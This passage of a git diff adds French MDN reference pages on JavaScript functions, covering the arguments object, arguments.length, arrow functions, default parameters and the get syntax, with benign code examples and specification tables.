{{SpecName('ES1')}}{{Spec2('ES1')}}Définition initiale. Implémentée avec JavaScript 1.2
{{SpecName('ES5.1', '#sec-10.6', 'Arguments Object')}}{{Spec2('ES5.1')}} 
{{SpecName('ES6', '#sec-arguments-exotic-objects', 'Arguments Exotic Objects')}}{{Spec2('ES6')}} 
{{SpecName('ESDraft', '#sec-arguments-exotic-objects', 'Arguments Exotic Objects')}}{{Spec2('ESDraft')}} 
+ +

Compatibilité des navigateurs

+ + + +

{{Compat("javascript.functions.arguments.callee")}}

+ +

Voir aussi

+ +
    +
  • {{jsxref("Function")}}
    • +
diff --git a/files/fr/web/javascript/reference/functions/arguments/index.html b/files/fr/web/javascript/reference/functions/arguments/index.html new file mode 100644 index 0000000000..589b84cc8b --- /dev/null +++ b/files/fr/web/javascript/reference/functions/arguments/index.html @@ -0,0 +1,248 @@ +--- +title: arguments +slug: Web/JavaScript/Reference/Fonctions/arguments +tags: + - Fonctions + - Functions + - JavaScript + - Reference + - arguments +translation_of: Web/JavaScript/Reference/Functions/arguments +--- +
{{jsSidebar("Fonctions")}}
+ +

L'objet arguments est un objet, semblable à un tableau, correspondant aux arguments passés à une fonction.

+ +
+

Note : Si vous pouvez utiliser les fonctionnalités ECMAScript 2015/ES6, il est préférable de manipuler les arguments avec les paramètres du reste.

+
+ +
+

Note : Par « objet semblable à un tableau », on indique que l'objet arguments possède une propriété {{jsxref("Fonctions/arguments.length", "length")}} et que ses propriétés sont indexées à partir de 0 mais qu'il ne possède aucune des méthodes natives de {{jsxref("Array")}} telles que {{jsxref("Array.forEach", "forEach()")}} et {{jsxref("Array.map", "map()")}}.

+
+ +
{{EmbedInteractiveExample("pages/js/functions-arguments.html")}}
+ + + +
+

Note du traducteur : « Variable ayant la fonction pour portée » correspond à la traduction de « Variable of the function scope » qu'il serait incorrect de traduire par « Variable de la portée de la fonction » car la portée de la fonction est la portée dans laquelle on peut appeler la fonction. Une variable locale de la fonction pourrait quant à elle avoir une portée strictement incluse dans le corps de la fonction (variable définie dans un bloc de la fonction même si cette subtilité n'existe pas en Javascript). Toute suggestion pour éviter cette tournure un peu longue sans altérer le sens est la bienvenue. (variable intrinsèque)

+
+ +

Syntaxe

+ +
arguments
+ +

Description

+ +

L'objet arguments est une variable locale (intrinsèque et inhérente aux fonctions) disponible dans toutes les fonctions (qui ne sont pas des fonctions fléchées).

+ +

Vous pouvez accéder aux arguments d'une fonction à l'intérieur de celle-ci en utilisant l'objet arguments. Cet objet contient une entrée pour chaque argument passé à la fonction, l'indice de la première entrée commençant à 0. Par exemple, si une fonction est appelée avec trois arguments, on accède à ceux-ci comme suit :

+ +
arguments[0]
+arguments[1]
+arguments[2]
+ +

Les arguments peuvent aussi être modifiés :

+ +
arguments[1] = 'nouvelle valeur';
+ +

Type de l'objet arguments et liens avec Array

+ +

L'objet arguments n'est pas un {{jsxref("Array")}}. Il est similaire à un Array, mais il n'a pas les propriétés d'un Array, exceptée la propriété {{jsxref("Array.length", "length")}}. Par exemple, il n'a pas la méthode {{jsxref("Array.pop", "pop()")}}. Néanmoins, il peut être converti en un vrai objet de type Array :

+ +
console.log(typeof arguments); // 'object'
+var args = Array.prototype.slice.call(arguments);
+
+// Avec ECMAScript 2015 / ES6
+var args = Array.from(arguments);
+
+ +

Utilisation de la décomposition avec les arguments

+ +

On peut utiliser la méthode {{jsxref("Array.from()")}} ou encore l'opérateur de décomposition afin de convertir cet objet en un vrai Array :

+ +
var args = Array.from(arguments);
+var args = [...arguments];
+ +
+

Important : Il est déconseillé d'utiliser slice sur les arguments car cela peut empêcher certaines optimisations des moteurs JavaScript. Pour ce scénario, on peut par exemple construire un nouveau tableau en parcourant l'objet arguments (à ce sujet, voir cette page sur les contraintes d'optimisations liées à V8). Pour cet exemple, on pourra utiliser Array.apply :

+ +
var args = (arguments.length === 1 ? [arguments[0]] : Array.apply(null, arguments));
+
+ +

L'objet arguments est disponible uniquement dans le corps d'une fonction. Tenter d'accéder à l'objet arguments en dehors de la déclaration d'une fonction renvoie une erreur.

+ +

Vous pouvez utiliser l'objet arguments si vous appelez une fonction avec plus de paramètres que ceux déclarés dans sa signature. Cette technique est utile pour les fonctions qui acceptent un nombre variable d'arguments. Vous pouvez utiliser  {{jsxref("Fonctions/arguments/length", "arguments.length")}} pour déterminer le nombre de paramètres passés à la fonction, puis utiliser chaque argument en utilisant l'objet arguments. (Pour déterminer le nombre d'arguments déclarés à la définition de la fonction, il faut utiliser la propriété {{jsxref("Function.length", "length")}}.)

+ +

Utiliser typeof sur arguments

+ +

L'opérateur {{jsxref("Opérateurs/L_opérateur_typeof","typeof")}} renvoie "object" lorsqu'on l'utilise sur arguments

+ +
console.log(typeof arguments); // "object"
+ +

On peut tout à fait utiliser typeof sur chacun des arguments afin de connaître leur type respectif

+ +
console.log(typeof arguments[0]); // renvoie le type du premier argument
+ +

Propriétés

+ +
+
{{jsxref("Fonctions/arguments/callee", "arguments.callee")}} {{Deprecated_inline}}
+
Référence à la fonction en cours d'exécution.
+
{{jsxref("Fonctions/arguments/caller", "arguments.caller")}} {{Obsolete_inline}}
+
Référence à la fonction appelante.
+
{{jsxref("Fonctions/arguments/length", "arguments.length")}}
+
Référence au nombre d'arguments passés à la fonction.
+
{{jsxref("Fonctions/arguments/@@iterator", "arguments[@@iterator]")}}
+
Renvoie un nouvel itérateur qui contient les valeurs pour chaque indice d'arguments.
+
+ +

Exemples

+ +

Définir une fonction de concaténation d'un nombre variable de chaînes

+ +

Cet exemple définit une fonction qui concatène un nombre variable de chaînes. Le seul argument formel de la fonction est une chaîne spécifiant un séparateur inséré entre les chaînes concaténées. La fonction est définie comme suit :

+ +
function myConcat(separateur) {
+  var args = Array.prototype.slice.call(arguments, 1);
+  return args.join(separateur);
+}
+ +

Vous pouvez passer n'importe quel nombre d'arguments à cette fonction ; elle créera une liste en utilisant chaque argument comme un élément de la liste.

+ +
// renvoie "rouge, orange, bleu"
+myConcat(", ", "rouge", "orange", "bleu");
+
+// renvoie "éléphant ; giraffe ; lion ; guépard"
+myConcat(" ; ", "elephant", "giraffe", "lion", "guépard");
+
+ +

Définir une fonction de création de listes HTML

+ +

Cet exemple définit une fonction qui crée des chaînes définissant des listes HTML. Le seul argument formel de la fonction est une chaîne pouvant valoir "u" (unordered), si la liste doit être sans numérotation (avec des puces), ou "o" (ordered), si la liste doit être numérotée. La fonction est définie comme suit :

+ +
function liste(type) {
+  var resultat = "<" + type + "l><li>";
+  var args = Array.prototype.slice.call(arguments, 1);
+  resultat += args.join("</li><li>");
+  resultat += "</li></" + type + "l>"; // end list
+
+  return resultat;
+}
+ +

Vous pouvez passer n'importe quel nombre d'arguments à cette fonction ; elle créera une liste du type indiqué en ajoutant chaque argument comme élément dans la liste. Exemple :

+ +
var listeHTML = liste("u", "Un", "Deux", "Trois");
+
+/* listeHTML vaut  :
+
+"<ul><li>Un</li><li>Deux</li><li>Trois</li></ul>"
+
+*/
+ +

Paramètres du reste, paramètres par défaut et décomposition

+ +

L'objet arguments peut être utilisé en combinaison avec les paramètres du reste, les paramètres par défaut ou les paramètres décomposés.

+ +
function toto(...args) {
+  return args;
+}
+toto(1, 2, 3); // [1, 2, 3]
+
+ +

Toutefois, pour les fonctions utilisées en mode non-strict, un objet arguments n'est fourni à l'intérieur de la fonction uniquement si celle-ci n'utilise pas de paramètres du reste, pas de paramètres par défaut ou de paramètre décomposé. Par exemple, dans la fonction suivante, qui utilise un paramètre par défaut, ce sera 10 qui sera renvoyé (et non 100) :

+ +
function truc(a=1) {
+  arguments[0] = 100;
+  return a;
+}
+truc(10); // 10
+
+ +

Si l'objet arguments est modifié dans la fonction, cela modifiera la valeur du paramètre passé. Dans cet exemple où il n'y a ni paramètres du reste, ni paramètres par défaut, ni décomposition, le résultat sera 100 :

+ +
fonction truc(a) {
+  arguments[0] = 100;
+  return a;
+}
+truc(10); // 100
+ +

En fait, lorsqu'il n'y a aucun paramètre du reste, paramètre par défaut ou aucune décomposition, les arguments formels feront références aux valeurs de l'objet arguments. Lorsqu'on aura besoin d'accéder à ces valeurs, on accèdera aux valeurs contenues dans arguments et à l'inverse, lorsqu'on modifiera ces valeurs, cela modifiera le contenu d'arguments. Par exemple

+ +
function func(a, b) {
+  arguments[0] = 99;
+  arguments[1] = 99;
+  console.log(a + " " +b);
+}
+
+func(1, 2); // 99 99
+
+ +

ou encore :

+ +
function func(a, b) {
+  a = 9;
+  b = 99;
+  console.log(arguments[0] + " " + arguments[1]);
+}
+
+func(3, 4); // 9 99
+
+ +

En revanche, dès qu'on utilise des paramètres du reste, des paramètres par défaut ou la décomposition, c'est le comportement normal qui sera appliqué :

+ +
function func(a, b, c = 9) {
+  arguments[0] = 99;
+  arguments[1] = 98;
+  console.log(a + " " + b);
+}
+
+func(3, 4); // 3 4
+
+ +

Spécifications

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
SpécificationÉtatCommentaires
{{SpecName('ES1')}}{{Spec2('ES1')}}Définition initiale. Implémentée par JavaScript 1.1
{{SpecName('ES5.1', '#sec-10.6', 'Arguments Object')}}{{Spec2('ES5.1')}} 
{{SpecName('ES2015', '#sec-arguments-exotic-objects', 'Arguments Exotic Objects')}}{{Spec2('ES2015')}} 
{{SpecName('ESDraft', '#sec-arguments-exotic-objects', 'Arguments Exotic Objects')}}{{Spec2('ESDraft')}} 
+ +

Compatibilité des navigateurs

+ + + +

{{Compat("javascript.functions.arguments")}}

+ +

Voir aussi

+ + diff --git a/files/fr/web/javascript/reference/functions/arguments/length/index.html b/files/fr/web/javascript/reference/functions/arguments/length/index.html new file mode 100644 index 0000000000..02de2d281c --- /dev/null +++ b/files/fr/web/javascript/reference/functions/arguments/length/index.html @@ -0,0 +1,91 @@ +--- +title: length +slug: Web/JavaScript/Reference/Fonctions/arguments/length +tags: + - Functions + - JavaScript + - Propriété + - Reference + - arguments +translation_of: Web/JavaScript/Reference/Functions/arguments/length +--- +
{{jsSideBar("Functions")}}
+ +

La propriété arguments.length contient le nombre d'arguments passés à la fonction.

+ +

Syntaxe

+ +
arguments.length
+ +

Description

+ +

La propriété arguments.length fournit le nombre d'arguments qui ont été passés à la fonction. Cette quantité peut être inférieure ou supérieure au nombre de paramètres explicitement déclarés dans la définition de la fonction (voir également {{jsxref("Function.length")}}).

+ +

Exemple

+ +

Utiliser arguments.length

+ +

Dans cet exemple, on définit une fonction qui permet d'additionner plusieurs nombres.

+ +
function somme(x /*, y, z, ...*/) {
+   x = Number(x);
+   for (var i = 1; i < arguments.length; i++) {
+      x += Number(arguments[i]);
+   }
+   return x;
+}
+
+ +
résultat = somme(3, 4, 5);        // renvoie 12
+résultat = somme(3, 4);           // renvoie 7
+résultat = somme(103, 104, 105);  // renvoie 312
+
+ +
+

Note : arguments.length ne doit pas être confondu avec {{jsxref("Function.length")}}.

+
+ +

Spécifications

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
SpécificationÉtatCommentaires
{{SpecName('ES1')}}{{Spec2('ES1')}}Définition initiale. Implémentée par JavaScript 1.1
{{SpecName('ES5.1', '#sec-10.6', 'Arguments Object')}}{{Spec2('ES5.1')}} 
{{SpecName('ES6', '#sec-arguments-exotic-objects', 'Arguments Exotic Objects')}}{{Spec2('ES6')}} 
{{SpecName('ESDraft', '#sec-arguments-exotic-objects', 'Arguments Exotic Objects')}}{{Spec2('ESDraft')}} 
+ +

Compatibilité des navigateurs

+ + + +

{{Compat("javascript.functions.arguments.length")}}

+ +

Voir aussi

+ +
    +
  • {{jsxref("Function")}}
    • +
  • {{jsxref("Function.length")}}
    • +
diff --git a/files/fr/web/javascript/reference/functions/arrow_functions/index.html b/files/fr/web/javascript/reference/functions/arrow_functions/index.html new file mode 100644 index 0000000000..912748e5e2 --- /dev/null +++ b/files/fr/web/javascript/reference/functions/arrow_functions/index.html @@ -0,0 +1,375 @@ +--- +title: Fonctions fléchées +slug: Web/JavaScript/Reference/Fonctions/Fonctions_fléchées +tags: + - ECMAScript 2015 + - Fonctions + - JavaScript + - Reference +translation_of: Web/JavaScript/Reference/Functions/Arrow_functions +--- +
{{jsSidebar("Functions")}}
+ +

Une expression de fonction fléchée (arrow function en anglais) permet d’avoir une syntaxe plus courte que les expressions de fonction et ne possède pas ses propres valeurs pour this, arguments, super, ou new.target. Les fonctions fléchées sont souvent anonymes et ne sont pas destinées à être utilisées pour déclarer des méthodes.

+ +
{{EmbedInteractiveExample("pages/js/functions-arrow.html")}}
+ +

Syntaxe

+ +
([param] [, param]) => {
+   instructions
+}
+
+(param1, param2, …, param2) => expression
+// équivalent à
+(param1, param2, …, param2) => {
+  return expression;
+}
+
+// Parenthèses non nécessaires quand il n'y a qu'un seul argument
+param => expression
+
+// Une fonction sans paramètre peut s'écrire avec un couple
+// de parenthèses
+() => {
+  instructions
+}
+
+// Gestion des paramètres du reste et paramètres par défaut
+(param1, param2, ...reste) => {
+  instructions
+}
+(param1 = valeurDefaut1, param2, …, paramN = valeurDefautN) => {
+  instructions
+}
+
+// Gestion de la décomposition pour la liste des paramètres
+let f = ([a, b] = [1, 2], {x: c} = {x: a + b}) => a + b + c;
+f();
+
+ +
+
param
+
Le nom d’un argument. S’il n'y a aucun argument, cela doit être indiqué par une paire de parenthèses (). S’il n'y a qu’un argument, les parenthèses ne sont pas nécessaires (ex. : toto => 1).
+
instructions ou expression
+
Plusieurs instructions doivent être encadrées par des accolades, {}. Une expression simple ne nécessite pas d’accolades. L’expression est également la valeur de retour implicite pour cette fonction.
+
+ +

Description

+ +

Deux facteurs sont à l’origine de la conception des fonctions fléchées : une syntaxe plus courte et l’absence de this spécifique à la fonction. Sur ce dernier point, cela signifie qu’une fonction fléchée ne lie pas son propre {{jsxref("Opérateurs/L_opérateur_this","this")}} au sein de la fonction (il en va de même avec {{jsxref("Fonctions/arguments","arguments")}}, {{jsxref("Opérateurs/super","super")}} ou {{jsxref("Opérateurs/new.target","new.target")}}).

+ +
+

Voir aussi l’article sur les fonctions fléchées présent sur https://tech.mozfr.org/post/2015/06/10/ES6-en-details-%3A-les-fonctions-flechees (l’article original en anglais est disponible ici).

+
+ +

Syntaxe plus courte

+ +

Pour des aspects fonctionnels, la légèreté de la syntaxe est bienvenue. Par exemple :

+ +
var a = [
+  "We're up all night 'til the sun",
+  "We're up all night to get some",
+  "We're up all night for good fun",
+  "We're up all night to get lucky"
+];
+
+// Sans la syntaxe des fonctions fléchées
+var a2 = a.map(function (s) { return s.length });
+// [31, 30, 31, 31]
+
+// Avec, on a quelque chose de plus concis
+var a3 = a.map( s => s.length);
+// [31, 30, 31, 31]
+ +

Pas de this lié à la fonction

+ +

Jusqu’a l’apparition des fonctions fléchées, chaque nouvelle fonction définissait son propre {{jsxref("Opérateurs/L_opérateur_this","this")}} :

+ +
    +
  • un nouvel objet dans le cas d’un constructeur
    • +
  • undefined dans les appels de fonctions en mode strict
    • +
  • l’objet courant si la fonction est appelée comme une méthode, etc.
    • +
+ +

Cela a pu entraîner des confusions lorsqu’on utilisait un style de programmation orientée objet.

+ +
function Personne () {
+  // Le constructeur Personne() définit `this` comme lui-même.
+  this.age = 0;
+
+  setInterval(function grandir () {
+    // En mode non strict, la fonction grandir() définit `this`
+    // comme l'objet global et pas comme le `this` defini
+    // par le constructeur Personne().
+    this.age++;
+  }, 1000);
+}
+
+var p = new Personne();
+ +

Avec ECMAScript 3/5, ce problème a pu être résolu en affectant la valeur de this à une autre variable :

+ +
function Personne () {
+  var that = this;
+  that.age = 0;
+
+  setInterval(function grandir () {
+    // La fonction callback se réfère à la variable `that`
+    // qui est le contexte souhaité
+    that.age++;
+  }, 1000);
+}
+ +

Autrement, on aurait pu utiliser une fonction de liaison afin que la bonne valeur this soit passée à la fonction grandir.

+ +

Les fonctions fléchées ne créent pas de nouveau contexte, elles utilisent la valeur this de leur contexte. Aussi, si le mot-clé this est utilisé dans le corps de la fonction, le moteur recherchera la référence à cette valeur dans une portée parente. Le code qui suit fonctionne ainsi de la façon attendue car le this utilisé dans setInterval est le thisde la portée de Personne :

+ +
function Personne () {
+  this.age = 0;
+
+  setInterval(() => {
+    this.age++;
+    // |this| fait bien référence à l'objet personne
+  }, 1000);
+}
+
+var p = new Personne();
+ +

Liens avec le mode strict

+ +

Ici this provient du contexte englobant, les règles du mode strict sont donc ignorées pour ce qui concerne this.

+ +
var f = () => {'use strict'; return this};
+f() === window; // ou l'objet global
+ +

Le reste des règles du mode strict sont appliquées normalement.

+ +

Appel via {{jsxref("Function.prototype.call()")}} ou {{jsxref("Function.prototype.apply()")}}

+ +

Étant donné que this provient du contexte englobant, si on invoque une fonction via la méthode call ou apply, cela ne passera que des arguments mais n’aura aucun effet sur this :

+ +
var ajouter = {
+  base: 1,
+
+  add : function (a) {
+    var f = v => v + this.base;
+    return f(a);
+  },
+
+  addViaCall: function (a) {
+    var f = v => v + this.base;
+    var b = {
+      base: 2
+    };
+    return f.call(b, a);
+  }
+};
+
+console.log(ajouter.add(1));
+// Cela affichera 2 dans la console
+
+console.log(ajouter.addViaCall(1));
+// Cela affichera toujours 2
+
+ +

Pas de liaison pour arguments

+ +

Les fonctions fléchées n’exposent pas d’objet arguments : arguments.length, arguments[0], arguments[1], et autres ne font donc pas référence aux arguments passés à la fonction fléchés. Dans ce cas arguments est simplement une référence à la variable de même nom si elle est présente dans la portée englobante :

+ +
var arguments = [1, 2, 3];
+var arr = () => arguments[0];
+
+arr(); // 1
+
+function toto () {
+  var f = (i) => arguments[0] + i;
+  // lien implicite avec arguments de toto
+  return f(2);
+}
+
+toto(3); // 5
+ +

Les fonctions fléchées n’ont donc pas leur propre objet arguments, mais dans la plupart des cas, les paramètres du reste représentent une bonne alternative :

+ +
function toto () {
+  var f = (...args) => args[0];
+  return f(2);
+}
+
+toto(1); // 2
+ +

Les fonctions fléchées comme méthodes

+ +

Comme indiqué précédemment, les fonctions fléchées sont mieux indiquées pour les fonctions qui ne sont pas des méthodes. Prenons un exemple pour illustrer ce point

+ +
'use strict';
+var objet = {
+  i: 10,
+  b: () => console.log(this.i, this),
+  c: function() {
+    console.log(this.i, this);
+  }
+}
+
+objet.b();
+// affiche undefined, Window (ou l'objet global de l'environnement)
+
+objet.c();
+// affiche 10, Object {...}
+ +

Utiliser prototype

+ +

Les fonctions fléchées ne possèdent pas de prototype :

+ +
var Toto = () => {};
+console.log(Toto.prototype);
+
+ +

Utiliser le mot-clé yield

+ +

Le mot-clé yield ne peut pas être utilisé dans le corps d’une fonction fléchée (sauf si cela intervient dans une autre fonction, imbriquée dans la fonction fléchée). De fait, les fonctions fléchéees ne peuvent donc pas être utilisées comme générateurs.

+ +

Utiliser le mot-clé new

+ +

Les fonctions fléchées ne peuvent pas être utilisées comme constructeurs et lèveront une exception si elles sont utilisées avec le mot-clé new.

+ +
var Toto = () => {};
+var toto = new Toto();
+// TypeError: Toto is not a constructor
+ +

Gestion du corps de la fonction

+ +

Les fonctions fléchées peuvent avoir une syntaxe concise ou utiliser un bloc d’instructions classique. Cette dernière syntaxe n’a pas de valeur de retour implicite et il faut donc employer l’instruction return.

+ +
// méthode concise, retour implicite
+var fonction = x => x * x;
+
+// bloc classique, retour explicite
+var fonction = (x, y) => { return x + y; }
+
+ +

Renvoyer des littéraux objets

+ +

Attention à bien utiliser les parenthèses lorsqu’on souhaite renvoyer des objets avec des littéraux :

+ +
// fonction() renverra undefined !
+var fonction = () => { toto: 1 };
+
+// SyntaxError
+var fonction2 = () =>  { toto: function () {} };
+
+ +

En effet, ici, l’analyse de l’expression trouve des blocs d’instructions au lieu de littéraux objets. Pour éviter cet effet indésirable, on pourra encadrer le littéral objet :

+ +
var fonction = () => ({ toto: 1 });
+ +

Sauts de ligne

+ +

Il ne peut pas y avoir de saut de ligne entre les paramètres et la flèche d’une fonction fléchée.

+ +
var func = ()
+            => 1; // SyntaxError: expected expression,
+                  //              got '=>'
+
+ +

Ordre syntaxique

+ +

La flèche utilisée pour une fonction fléchée n’est pas un opérateur. Les fonctions fléchées ont des règles spécifiques quant à leur place dans la syntaxe et interagissent différemment de la précédence des opérateurs par rapport à une fonction classique :

+ +
let fonctionRappel;
+
+fonctionRappel = fonctionRappel || function () {};
+// OK
+
+fonctionRappel = fonctionRappel || () => {};
+// SyntaxError: invalid arrow-function arguments
+
+fonctionRappel = fonctionRappel || (() => {});
+// OK
+
+ +

Exemples

+ +
// Une fonction fléchée vide renvoie undefined
+let vide = () => {};
+
+(() => "tototruc")()
+// exemple d'une fonction immédiatement
+// invoquée (IIFE en anglais) qui renvoie
+// "tototruc"
+
+var simple = a => a > 15 ? 15 : a;
+simple(16); // 15
+simple(10); // 10
+
+var complexe = (a, b) => {
+    if (a > b) {
+        return a;
+    } else {
+        return b;
+    }
+}
+
+var arr = [5, 6, 13, 0, 1, 18, 23];
+
+var sum = arr.reduce((a, b) => a + b);
+// 66
+
+var even = arr.filter(v => v % 2 == 0);
+// [6, 0, 18]
+
+var double = arr.map(v => v * 2);
+// [10, 12, 26, 0, 2, 36, 46]
+
+// On peut aussi construire des chaînes
+// de promesses plus concises
+promise.then(a => {
+    // ...
+}).then(b => {
+    // ...
+});
+
+// Cela permet de visualiser les
+// fonctions sans paramètres
+setTimeout( () => {
+    console.log("Et voilà");
+    setTimeout( () => {
+        console.log("ensuite…");
+    }, 1);
+}, 1);
+
+ +

Spécifications

+ + + + + + + + + + + + + + + + + + + +
SpécificationÉtatCommentaires
{{SpecName('ES2015', '#sec-arrow-function-definitions', 'Arrow Function Definitions')}}{{Spec2('ES2015')}}Définition initiale.
{{SpecName('ESDraft', '#sec-arrow-function-definitions', 'Arrow Function Definitions')}}{{Spec2('ESDraft')}}
+ +

Compatibilité des navigateurs

+ + + +

{{Compat("javascript.functions.arrow_functions")}}

+ +

Voir aussi

+ +
    +
  • L’article sur les fonctions fléchées présent sur https ://tech.mozfr.org (l’article original en anglais est disponible ici).
    • +
diff --git a/files/fr/web/javascript/reference/functions/default_parameters/index.html b/files/fr/web/javascript/reference/functions/default_parameters/index.html new file mode 100644 index 0000000000..99d9869f9c --- /dev/null +++ b/files/fr/web/javascript/reference/functions/default_parameters/index.html @@ -0,0 +1,212 @@ +--- +title: Valeurs par défaut des arguments +slug: Web/JavaScript/Reference/Fonctions/Valeurs_par_défaut_des_arguments +tags: + - ECMAScript 2015 + - Fonctions + - JavaScript + - Reference +translation_of: Web/JavaScript/Reference/Functions/Default_parameters +--- +
{{jsSidebar("Functions")}}
+ +

Cette syntaxe permet d'initialiser des paramètres lors de l'appel de la fonction si aucune valeur n'est passée ou si c'est la valeur {{jsxref("undefined")}} qui est passée.

+ + + +
{{EmbedInteractiveExample("pages/js/functions-default.html")}}
+ +

Syntaxe

+ +
function [nom]([param1[ = valeurParDéfaut1 ][, ..., paramN[ = valeurParDéfautN ]]]) {
+   instructions
+}
+
+ +

Description

+ +

En JavaScript, par défaut, la valeur des paramètres d'une fonction sera undefined. Malgré tout, il peut être assez utile de pouvoir définir d'autres valeurs par défaut.

+ +

Auparavant, pour définir une valeur par défaut pour un paramètre, il fallait tester s'il valait undefined et lui affecter une valeur choisie le cas échéant. Dans l'exemple qui suit, le paramètre b n'a pas de valeur fournie lors de l'appel, aussi si on avait utilisé undefined dans la multiplication, la valeur retournée aurait été NaN. Aussi, dans la deuxième ligne du code, on prévoit ce cas :

+ +
function multiplier(a, b) {
+  var b = (typeof b !== 'undefined') ? b : 1;
+
+  return a * b;
+}
+
+multiplier(5, 2); // 10
+multiplier(5, 1); // 5
+multiplier(5);    // 5
+
+ +

Grâce aux paramètres par défaut qui existent depuis ECMAScript 2015 (ES6), on peut se passer de cette vérification et alléger le code de la fonction :

+ +
function multiplier(a, b = 1) {
+  return a * b;
+}
+
+multiplier(5, 2); // 10
+multiplier(5, 1); // 5
+multiplier(5, undefined); // 5
+multiplier(5); // 5
+ +

Exemples

+ +

Passer undefined en paramètre

+ +

Dans l'exemple qui suit, le deuxième appel à la fonction fait explicitement appel à undefined. La valeur par défaut sera utilisée, y compris dans ce cas (en revanche, ce ne serait pas vrai pour null ou les autres valeurs équivalentes à false dans un contexte booléen).

+ +
function test(num = 1) {
+  console.log(typeof num);
+}
+
+test();           // number (num vaut 1)
+test(undefined);  // number (num vaut 1 également)
+test("");         // string (num vaut "")
+test(null);       // object (num vaut null)
+
+ +

Évaluation à l'appel

+ +

L'argument par défaut est évalué à l'instant de l'appel. Ainsi, à la différence d'autres langages comme Python, un nouvel objet est créé à chaque appel de la fonction.

+ +
function append(valeur, tableau = []) {
+  tableau.push(valeur);
+  return tableau;
+}
+
+append(1); //[1]
+append(2); //[2], et non [1, 2]
+
+
+ +

Cela est également valable pour les fonctions et les variables

+ +
function appelQqc(truc = qqc()) { return truc }
+
+appelQqc(); //lève une ReferenceError
+
+let qqc = () => "machin"
+
+appelQqc(); // "machin"
+
+ +

Les paramètres par défaut sont disponibles à la suite

+ +

Les paramètres déjà rencontrés dans la définition peuvent être utilisés comme paramètres par défaut dans la suite de la définition :

+ +
function salutation(nom, salut, message = salut + ' ' + nom){
+    return [nom, salut, message];
+}
+
+salutation('David', 'Coucou');
+// ["David", "Coucou", "Coucou David"]
+
+salutation('David', 'Coucou', 'Bon anniversaire !');
+// ["David", "Coucou", "Bon anniversaire !"]
+ +

On peut utiliser cette fonctionnalité afin de gérer beaucoup de cas aux limites :

+ +
function go() {
+  return ":P"
+}
+
+function avecDéfaut(a, b = 5, c = b, d = go(), e = this,
+                      f = arguments, g = this.value) {
+  return [a,b,c,d,e,f,g];
+}
+function sansDéfaut(a, b, c, d, e, f, g){
+  switch(arguments.length){
+    case 0:
+      a
+    case 1:
+      b = 5
+    case 2:
+      c = b
+    case 3:
+      d = go();
+    case 4:
+      e = this
+    case 5:
+      f = arguments
+    case 6:
+      g = this.value;
+    default:
+  }
+  return [a,b,c,d,e,f,g];
+}
+
+avecDéfaut.call({value:"=^_^="});
+// [undefined, 5, 5, ":P", {value:"=^_^="}, arguments, "=^_^="]
+
+
+sansDéfaut.call({value:"=^_^="});
+// [undefined, 5, 5, ":P", {value:"=^_^="}, arguments, "=^_^="]
+
+ +

Les fonctions définies dans le corps d'une fonction

+ +

À partir de Gecko 33 {{geckoRelease(33)}}. Les fonctions déclarées dans le corps de la fonction ne peuvent pas servir comme valeurs par défaut, cela lèvera une exception {{jsxref("ReferenceError")}} (plus précisément une {{jsxref("TypeError")}} avec SpiderMonkey, voir le {{bug(1022967)}}). Les paramètres par défaut sont exécutés en premier, les déclarations de fonctions présentes dans le corps de la fonction sont évaluées ensuite.

+ +
// Ne fonctionnera pas, entraîne une ReferenceError.
+function f(a = go()) {
+  function go(){return ":P"}
+}
+
+ +

Utilisation de paramètres sans valeur par défaut après les paramètres par défaut

+ +

Avant Gecko 26 ({{geckoRelease(26)}}, le code suivant aurait entraîné une exception {{jsxref("SyntaxError")}}. Cela a été corrigé avec le bug {{bug(777060)}}. Les paramètres sont toujours ordonnés de gauche à droite et les valeurs par défaut sont surchargées s'ils viennent avant les autres paramètres :

+ +
function f(x=1, y) {
+  return [x, y];
+}
+
+f();  // [1, undefined]
+f(2); // [2, undefined]
+
+ +

Paramètre par défaut et décomposition des paramètres

+ +

Il est possible d'utiliser les valeurs par défaut avec la syntaxe de décomposition :

+ +
function f([x, y] = [1, 2], {z: z} = {z: 3}) {
+  return x + y + z;
+}
+
+f(); // 6
+ +

Spécifications

+ + + + + + + + + + + + + + + + + + + +
SpécificationÉtatCommentaires
{{SpecName('ES2015', '#sec-function-definitions', 'Function Definitions')}}{{Spec2('ES2015')}}Définition initiale.
{{SpecName('ESDraft', '#sec-function-definitions', 'Function Definitions')}}{{Spec2('ESDraft')}}
+ +

Compatibilité des navigateurs

+ + + +

{{Compat("javascript.functions.default_parameters")}}

+ +

Voir aussi

+ + diff --git a/files/fr/web/javascript/reference/functions/get/index.html b/files/fr/web/javascript/reference/functions/get/index.html new file mode 100644 index 0000000000..baf138defa --- /dev/null +++ b/files/fr/web/javascript/reference/functions/get/index.html @@ -0,0 +1,180 @@ +--- +title: L'opérateur get +slug: Web/JavaScript/Reference/Fonctions/get +tags: + - ECMAScript 2015 + - ECMAScript 5 + - Functions + - JavaScript + - Reference +translation_of: Web/JavaScript/Reference/Functions/get +--- +
{{jsSidebar("Functions")}}
+ +

La syntaxe get permet de lier une propriété d'un objet à une fonction qui sera appelée lorsqu'on accédera à la propriété.

+ +
{{EmbedInteractiveExample("pages/js/functions-getter.html")}}
+ + + +

Syntaxe

+ +
{get prop() { ... } }
+{get [expression]() { ... } }
+ +

Paramètres

+ +
+
prop
+
Le nom de la propriété à lier à la fonction.
+
expression
+
Avec ECMAScript 2015, il est également possible d'utiliser des expressions renvoyant un nom de propriété calculé pour le lier à une fonction.
+
+ +

Description

+ +

Il est parfois utile de créer une propriété qui renvoie une valeur dynamique calculée, ou de ne pas avoir recours à l'appel explicite d'une méthode pour renvoyer le statut d'une variable interne. En JavaScript, il est possible de faire cela en utilisant un accesseur. Il n'est pas possible d'avoir simultanément un accesseur assimilé à une propriété et d'avoir cette propriété initialisée à une valeur, mais il est possible d'utiliser un accesseur et un {{jsxref("Fonctions/set","mutateur","",1)}} pour créer une sorte de pseudo-propriété.

+ +

On notera que l'opérateur get :

+ + + +

Un accesseur peut être supprimé grâce à l'opérateur {{jsxref("Opérateurs/L_opérateur_delete","delete")}}.

+ +

Exemples

+ +

Définir un accesseur avec l'opérateur get

+ +

Ce code va créer une pseudo-propriété dernier de l'objet o qui va retourner la dernière entrée du tableau o.journal :

+ +
var o = {
+  get dernier() {
+    if (this.journal.length > 0) {
+      return this.journal[this.journal.length - 1];
+    }
+    else {
+      return null;
+    }
+  },
+  journal: ["toto","actu"]
+}
+console.log(o.dernier); // "actu"
+
+ +

